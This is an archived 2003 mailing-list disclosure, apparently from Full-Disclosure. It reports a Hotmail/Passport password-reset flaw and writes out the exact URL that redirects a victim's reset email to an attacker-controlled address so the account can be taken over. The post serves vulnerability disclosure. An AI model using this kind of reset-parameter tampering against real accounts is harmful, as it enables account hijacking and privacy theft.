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[Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability (fwd) May 08 2003 04:40AM
Dan Hanson (dhanson securityfocus com) (1 replies)
I am forwarding this as it may impact people whom depend on MSN or
passport systems for business reasons. Contrary to what at
least one of the full-disclosure follow-ups reports, it does work.

D

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Date: Wed, 7 May 2003 19:50:51 -0700 (PDT)
From: Muhammad Faisal Rauf Danka <mfrd (at) attitudex (dot) com [email concealed]>
To: full-disclosure (at) lists.netsys (dot) com [email concealed]
Subject: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability

Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail / Passportâ??s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact addresses, but always met with the NLP bots.

I guess I donâ??t need to go in details of how cruical and important Hotmail / Passportâ??s .NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmai
l.com&id=&cb=&prefem=attacker (at) attacker (dot) com [email concealed]&rst=1

And youâ??ll get an email on attacker (at) attacker (dot) com [email concealed] asking you to click on a url something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLN
um=0&lc=1033

>From that url, you can reset the password and I donâ??t think I need to say anything more about it.

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned)

Regards
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Muhammad Faisal Rauf Danka

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Re: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability (fwd) May 08 2003 05:10AM
Christopher X. Candreva (chris westnet com)


 

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